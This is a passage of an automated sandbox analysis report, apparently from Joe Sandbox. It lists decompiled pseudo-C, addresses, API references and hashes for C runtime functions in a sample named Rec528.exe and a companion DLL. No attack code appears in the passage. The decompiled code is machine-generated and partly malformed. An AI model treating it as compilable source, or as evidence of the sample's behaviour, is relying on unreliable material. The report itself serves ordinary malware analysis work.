			E0041ABE7() {

				E0041E238( *0x450bd0);
				 *0x450bd0 = 0;
				E0041E238( *0x450bd4);
				 *0x450bd4 = 0;
				E0041E238( *0x450cd0);
				 *0x450cd0 = 0;
				E0041E238( *0x450cd4);
				 *0x450cd4 = 0;
				return 1;
			}

0x0041abf0
0x0041abfd
0x0041ac03
0x0041ac0e
0x0041ac14
0x0041ac1f
0x0041ac25
0x0041ac2d
0x0041ac36

APIs

_free.LIBCMT ref: 0041ABF0

Part of subcall function 0041E238: HeapFree.KERNEL32(00000000,00000000,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?), ref: 0041E24E
Part of subcall function 0041E238: GetLastError.KERNEL32(?,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?,?), ref: 0041E260

_free.LIBCMT ref: 0041AC03
_free.LIBCMT ref: 0041AC14
_free.LIBCMT ref: 0041AC25

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
Instruction ID: a11de69c014321f5dc8e2f471937d82d717c512d0dce56fedb92718468f67189
Opcode Fuzzy Hash: 7600757227941bb7c95799b95531e21e679b1f58566f426ab12c79b805c51534
Instruction Fuzzy Hash: 0AE04F7F411360BB960A2F56FE51685BA25B76970AB4002ABFC003A233CB759051AF8E

Uniqueness

Uniqueness Score: -1.00%

Function 10006778 Relevance: 6.0, APIs: 4, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10006778() {

				E100079CC( *0x1001834c);
				 *0x1001834c = 0;
				E100079CC( *0x10018350);
				 *0x10018350 = 0;
				E100079CC( *0x10018110);
				 *0x10018110 = 0;
				E100079CC( *0x10018114);
				 *0x10018114 = 0;
				return 1;
			}

0x10006781
0x1000678e
0x10006794
0x1000679f
0x100067a5
0x100067b0
0x100067b6
0x100067be
0x100067c7

APIs

_free.LIBCMT ref: 10006781

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

_free.LIBCMT ref: 10006794
_free.LIBCMT ref: 100067A5
_free.LIBCMT ref: 100067B6

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 75bd068e35e85004918474f377b0304826452ae9da8ec7b43721f587b131a2e2
Instruction ID: 381de8dc8cc995c0ffb6054aaace2c30b829c34e5d5802529b2750e75a419679
Opcode Fuzzy Hash: 75bd068e35e85004918474f377b0304826452ae9da8ec7b43721f587b131a2e2
Instruction Fuzzy Hash: C5E0E676C10131AAFB13AF24DCC64463FA5F745E443498405F52C12236C73697139FE1

Uniqueness

Uniqueness Score: -1.00%

Function 00403B40 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E00403B40(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				char _v52;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				intOrPtr _v96;
				void* _v116;
				signed int _v132;
				void* __esi;
				void* __ebp;
				signed int _t71;
				signed int _t72;
				intOrPtr _t81;
				intOrPtr* _t87;
				intOrPtr _t96;
				void* _t109;
				void* _t111;
				char _t115;
				char _t118;
				intOrPtr* _t127;
				intOrPtr _t128;
				intOrPtr _t133;
				intOrPtr _t134;
				void* _t136;
				void* _t137;
				intOrPtr* _t141;
				void* _t142;
				intOrPtr* _t144;
				intOrPtr _t145;
				void* _t146;
				intOrPtr* _t147;
				signed int _t151;
				void* _t155;
				signed int _t158;
				void* _t159;

				_push(__ebx);
				_t111 = _t155;
				_t158 = (_t155 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t111 + 4));
				_t151 = _t158;
				_push(0xffffffff);
				_push(0x42c315);
				_push( *[fs:0x0]);
				_push(_t111);
				_t159 = _t158 - 0x58;
				_t71 =  *0x43d054; // 0x298e9dc2
				_t72 = _t71 ^ _t151;
				_v32 = _t72;
				_push(__edi);
				_push(_t72);
				 *[fs:0x0] =  &_v24;
				_t141 = __ecx;
				_v44 = __ecx;
				_v44 = __ecx;
				E0040BB10(_t111,  &_v68, __edx, __ecx,  *((intOrPtr*)(_t111 + 8)));
				_t144 =  *((intOrPtr*)(_t111 + 0x10));
				_v44 =  *((intOrPtr*)(_t111 + 0xc));
				_v16 = 0;
				_t115 = _v52;
				if(_t115 != 0) {
					if(_v48 - _t115 < 2) {
						_v36 = 0;
						E00402990(_t111,  &_v68, __ecx, _t144, 2, _v36, ": ", 2);
					} else {
						_v52 = _t115 + 2;
						_t109 =  >=  ? _v68 :  &_v68;
						 *((short*)(_t109 + _t115)) = 0x203a;
						 *((char*)(_t109 + _t115 + 2)) = 0;
					}
				}
				 *((intOrPtr*)( *_t144 + 8))( &_v92, _v44);
				_v16 = 1;
				_t118 = _v76;
				_t132 =  >=  ? _v92 :  &_v92;
				_t145 = _v52;
				_v44 = _t118;
				_push(_t118);
				_push( >=  ? _v92 :  &_v92);
				if(_t118 > _v48 - _t145) {
					_v44 = 0;
					_push(_v44);
					_push(_t118);
					_t81 = E00402990(_t111,  &_v68, _t141, _t145);
				} else {
					_v52 = _t145 + _t118;
					_t102 =  >=  ? _v68 :  &_v68;
					_t145 = _t145 + ( >=  ? _v68 :  &_v68);
					_push(_t145);
					E00410440();
					_t81 = _v44;
					_t159 = _t159 + 0xc;
					 *((char*)(_t145 + _t81)) = 0;
				}
				_t133 = _v72;
				if(_t133 < 0x10) {
					L11:
					asm("movups xmm1, [ebp-0x38]");
					 *_t141 = 0x42e2d4;
					asm("movq xmm0, [ebp-0x28]");
					asm("movq [ebp-0x58], xmm0");
					asm("xorps xmm0, xmm0");
					asm("movd eax, xmm1");
					asm("movq [edi+0x4], xmm0");
					asm("movups [ebp-0x68], xmm1");
					_t121 =  >=  ? _t81 :  &_v116;
					_v52 = 0;
					_v48 = 0xf;
					_v68 = 0;
					_v40 =  >=  ? _t81 :  &_v116;
					_v36 = 1;
					E0040FEF1( &_v40, _t141 + 4);
					_t134 = _v96;
					_t159 = _t159 + 8;
					 *_t141 = 0x42e320;
					if(_t134 < 0x10) {
						L15:
						 *_t141 = 0x439c9c;
						 *((intOrPtr*)(_t141 + 0xc)) =  *((intOrPtr*)(_t111 + 0xc));
						 *((intOrPtr*)(_t141 + 0x10)) =  *((intOrPtr*)(_t111 + 0x10));
						 *[fs:0x0] = _v24;
						_pop(_t142);
						_pop(_t146);
						return E0040EB3F(_t141, _t111, _v32 ^ _t151,  *((intOrPtr*)(_t111 + 0x10)), _t142, _t146);
					} else {
						_t127 = _v116;
						_t136 = _t134 + 1;
						_t87 = _t127;
						if(_t136 < 0x1000) {
							L14:
							_push(_t136);
							E0040ED7F(_t127);
							goto L15;
						} else {
							_t127 =  *((intOrPtr*)(_t127 - 4));
							_t136 = _t136 + 0x23;
							if(_t87 - _t127 + 0xfffffffc > 0x1f) {
								goto L17;
							} else {
								goto L14;
							}
						}
					}
				} else {
					_t128 = _v92;
					_t137 = _t133 + 1;
					_t96 = _t128;
					if(_t137 < 0x1000) {
						L10:
						_push(_t137);
						_t81 = E0040ED7F(_t128);
						_t159 = _t159 + 8;
						goto L11;
					} else {
						_t127 =  *((intOrPtr*)(_t128 - 4));
						_t136 = _t137 + 0x23;
						if(_t96 - _t127 + 0xfffffffc > 0x1f) {
							E004134A7(_t111, _t136, __eflags);
							L17:
							E004134A7(_t111, _t136, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t151);
							_push(_t145);
							_t147 = _t127;
							 *_t147 = 0x42e2d4;
							E0040FF54(_t147 + 4);
							__eflags = _v132 & 0x00000001;
							if((_v132 & 0x00000001) != 0) {
								_push(0x14);
								E0040ED7F(_t147);
							}
							return _t147;
						} else {
							goto L10;
						}
					}
				}
			}

0x00403b40
0x00403b41
0x00403b49
0x00403b50
0x00403b54
0x00403b56
0x00403b58
0x00403b63
0x00403b64
0x00403b65
0x00403b68
0x00403b6d
0x00403b6f
0x00403b73
0x00403b74
0x00403b78
0x00403b7e
0x00403b80
0x00403b8a
0x00403b8d
0x00403b95
0x00403b98
0x00403b9b
0x00403ba2
0x00403ba7
0x00403bb3
0x00403bdc
0x00403be8
0x00403bb5
0x00403bbb
0x00403bc6
0x00403bca
0x00403bce
0x00403bce
0x00403bb3
0x00403bf8
0x00403bfb
0x00403c06
0x00403c09
0x00403c10
0x00403c15
0x00403c18
0x00403c19
0x00403c1c
0x00403c43
0x00403c47
0x00403c4a
0x00403c4e
0x00403c1e
0x00403c25
0x00403c2b
0x00403c2f
0x00403c31
0x00403c32
0x00403c37
0x00403c3a
0x00403c3d
0x00403c3d
0x00403c53
0x00403c59
0x00403c87
0x00403c87
0x00403c8e
0x00403c94
0x00403c99
0x00403c9e
0x00403ca5
0x00403ca9
0x00403cae
0x00403cb2
0x00403cb5
0x00403cbf
0x00403cca
0x00403ccf
0x00403cd2
0x00403cd6
0x00403cdb
0x00403cde
0x00403ce1
0x00403cea
0x00403d14
0x00403d1c
0x00403d22
0x00403d25
0x00403d2b
0x00403d33
0x00403d34
0x00403d45
0x00403cec
0x00403cec
0x00403cef
0x00403cf0
0x00403cf8
0x00403d0a
0x00403d0a
0x00403d0c
0x00000000
0x00403cfa
0x00403cfa
0x00403cfd
0x00403d08
0x00000000
0x00000000
0x00000000
0x00000000
0x00403d08
0x00403cf8
0x00403c5b
0x00403c5b
0x00403c5e
0x00403c5f
0x00403c67
0x00403c7d
0x00403c7d
0x00403c7f
0x00403c84
0x00000000
0x00403c69
0x00403c69
0x00403c6c
0x00403c77
0x00403d48
0x00403d4d
0x00403d4d
0x00403d52
0x00403d53
0x00403d54
0x00403d55
0x00403d56
0x00403d57
0x00403d58
0x00403d59
0x00403d5a
0x00403d5b
0x00403d5c
0x00403d5d
0x00403d5e
0x00403d5f
0x00403d60
0x00403d63
0x00403d64
0x00403d69
0x00403d70
0x00403d78
0x00403d7c
0x00403d7e
0x00403d81
0x00403d86
0x00403d8d
0x00000000
0x00000000
0x00000000
0x00403c77
0x00403c67

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00403CD6
___std_exception_destroy.LIBVCRUNTIME ref: 00403D70

Strings

`=@, xrefs: 00403D1C

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: `=@
API String ID: 2970364248-2879527708
Opcode ID: 3fda5044b6df40b04bbc51e1a604dfc091ed6afe0e0a35c7507a83b2c4760c62
Instruction ID: c45e531005c49128b41c2267f063fb0cd9faf697cf2b940bc52e0bde6c7d21ef
Opcode Fuzzy Hash: 3fda5044b6df40b04bbc51e1a604dfc091ed6afe0e0a35c7507a83b2c4760c62
Instruction Fuzzy Hash: DF719271A002489BDB04CFA9C881BDDFBB5EF49314F14812EE805B7285D778AA84CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004199DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00419A6D

Strings

pow, xrefs: 00419A45, 00419A62

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
Instruction ID: 9cc51f21ed2453303617aa123ec70b4e3589bf7e9b4b6aa8f8e0223717c9d32f
Opcode Fuzzy Hash: a582e46973c46f5eef58ff1d0f172840d36d42b9c83d8389a540df618c71c77d
Instruction Fuzzy Hash: B3518171B0810196DB11BF14E9213AB77B0AF40B82FB0496FE4D5423A8DF3C8ED59A4E

Uniqueness

Uniqueness Score: -1.00%

Function 0041A26D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0041A26D(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						E00424803(_t48);
						E0042424A(_t48, _t57, 0, 0x450790, 0, 0x450790, 0x104);
						_t26 =  *0x450cd8; // 0x16534b0
						 *0x450cc8 = 0x450790;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x450790;
							_v20 = 0x450790;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E0041A517(E0041A3A3( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, "true");
							__eflags = _t64;
							if(__eflags != 0) {
								E0041A3A3( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E00424178(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x450ccc = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x450cd0 = _t58;
											L18:
											E0041E238(_t37);
											_v12 = 0;
											L19:
											E0041E238(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x450ccc = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x450cd0 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E00413571(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E00413571(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E00413497();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x0041a26d
0x0041a276
0x0041a27b
0x0041a285
0x0041a288
0x0041a2a5
0x0041a2a6
0x0041a2b9
0x0041a2be
0x0041a2c6
0x0041a2cc
0x0041a2cf
0x0041a2d1
0x0041a2d8
0x0041a2d8
0x0041a2da
0x0041a2dd
0x0041a2e0
0x0041a2e7
0x0041a300
0x0041a305
0x0041a307
0x0041a328
0x0041a330
0x0041a333
0x0041a34e
0x0041a351
0x0041a358
0x0041a35c
0x0041a35e
0x0041a365
0x0041a368
0x0041a36a
0x0041a36c
0x0041a36e
0x0041a378
0x0041a378
0x0041a37a
0x0041a380
0x0041a383
0x0041a385
0x0041a38b
0x0041a38c
0x0041a392
0x0041a395
0x0041a396
0x0041a39c
0x0041a39f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a370
0x0041a370
0x0041a370
0x0041a373
0x0041a374
0x0041a374
0x00000000
0x0041a370
0x0041a360
0x00000000
0x0041a360
0x0041a338
0x0041a338
0x0041a339
0x0041a33e
0x0041a340
0x0041a342
0x0041a347
0x0041a347
0x00000000
0x0041a347
0x0041a309
0x0041a30e
0x0041a310
0x0041a311
0x00000000
0x0041a311
0x0041a2d3
0x0041a2d6
0x00000000
0x00000000
0x00000000
0x0041a2d6
0x0041a28a
0x0041a28d
0x00000000
0x00000000
0x0041a28f
0x0041a296
0x0041a297
0x0041a299
0x0041a29e
0x00000000
0x0041a29e
0x00000000

Strings

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe, xrefs: 0041A2B0, 0041A2B7, 0041A2ED

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
API String ID: 0-539802811
Opcode ID: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
Instruction ID: 54ca2e2b2c910831d33f8d1abf6b2c3edf597ccdf62c1b78944918f2fe614005
Opcode Fuzzy Hash: 0e731db7584ad60d578d779bbaf5b01c679ed323d4b1edda6f57c3d6e2435286
Instruction Fuzzy Hash: 4E41E571A01218AFCB16DF9ACC81ADFBBB8EB85310F10006BF814D7351D7788A90DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 10005FC8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E10005FC8(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E10008981(_t48, _t59);
						E100083C8(_t48, _t57, 0, 0x10017d98, 0, 0x10017d98, 0x104);
						_t26 =  *0x10018118; // 0x16534b0
						 *0x10018108 = 0x10017d98;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x10017d98;
							_v20 = 0x10017d98;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E10006272(E100060FE( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, "true");
							__eflags = _t64;
							if(__eflags != 0) {
								E100060FE( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E100082BB(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x1001810c = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x10018110 = _t58;
											L18:
											E100079CC(_t37);
											_v12 = 0;
											L19:
											E100079CC(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x1001810c = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x10018110 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E100058B6(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E100058B6(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E100057DC();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x10005fc8
0x10005fd1
0x10005fd6
0x10005fe0
0x10005fe3
0x10006000
0x10006000
0x10006001
0x10006014
0x10006019
0x10006021
0x10006027
0x1000602a
0x1000602c
0x10006033
0x10006033
0x10006035
0x10006038
0x1000603b
0x10006042
0x1000605b
0x10006060
0x10006062
0x10006083
0x1000608b
0x1000608e
0x100060a9
0x100060ac
0x100060b3
0x100060b7
0x100060b9
0x100060c0
0x100060c3
0x100060c5
0x100060c7
0x100060c9
0x100060d3
0x100060d3
0x100060d5
0x100060db
0x100060de
0x100060e0
0x100060e6
0x100060e7
0x100060ed
0x100060f0
0x100060f1
0x100060f7
0x100060fa
0x00000000
0x00000000
0x00000000
0x00000000
0x100060cb
0x100060cb
0x100060cb
0x100060ce
0x100060cf
0x100060cf
0x00000000
0x100060cb
0x100060bb
0x00000000
0x100060bb
0x10006093
0x10006093
0x10006094
0x10006099
0x1000609b
0x1000609d
0x100060a2
0x100060a2
0x00000000
0x100060a2
0x10006064
0x10006069
0x1000606b
0x1000606c
0x00000000
0x1000606c
0x1000602e
0x10006031
0x00000000
0x00000000
0x00000000
0x10006031
0x10005fe5
0x10005fe8
0x00000000
0x00000000
0x10005fea
0x10005ff1
0x10005ff2
0x10005ff4
0x10005ff9
0x00000000
0x10005ff9
0x00000000

Strings

C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe, xrefs: 1000600B, 10006012, 10006048

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID:
String ID: C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
API String ID: 0-539802811
Opcode ID: 9c2515709f9ef5ba36c4442dad0607202447827d3e4e4dc3e46157d8fc5dcb7b
Instruction ID: e5d0a91aa81edd261364053414ee3e428e2930e14714e00a74dabaf2ace380e5
Opcode Fuzzy Hash: 9c2515709f9ef5ba36c4442dad0607202447827d3e4e4dc3e46157d8fc5dcb7b
Instruction Fuzzy Hash: 3D419071E44215ABFB21CB99CC81A9FBBFDEF89390F204066F905A7215DB719B41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0041243C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E0041243C(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_t75 = E00411D16(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E00411D16(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E0040FC08(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E0040FB3B(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push("true");
											E00412012(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E00419BC9(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x0041243c
0x0041243c
0x00412443
0x0041244c
0x0041256b
0x00412452
0x00412454
0x0041245e
0x00412461
0x00412467
0x00412471
0x00412496
0x0041249b
0x004124a0
0x00412567
0x00000000
0x00412568
0x004124a0
0x00412471
0x004124a6
0x004124a9
0x004124ac
0x004124b2
0x004124b8
0x004124ca
0x004124cf
0x004124d2
0x004124d5
0x004124d8
0x004124db
0x004124e1
0x004124e7
0x004124ea
0x004124ed
0x004124fc
0x004124fd
0x004124fd
0x00412502
0x00412515
0x00412517
0x0041251c
0x00412527
0x00412529
0x0041252b
0x00412547
0x0041254c
0x0041254f
0x0041254f
0x00412527
0x0041251c
0x00412555
0x00412556
0x00412559
0x0041255c
0x0041255f
0x00412562
0x004124ed
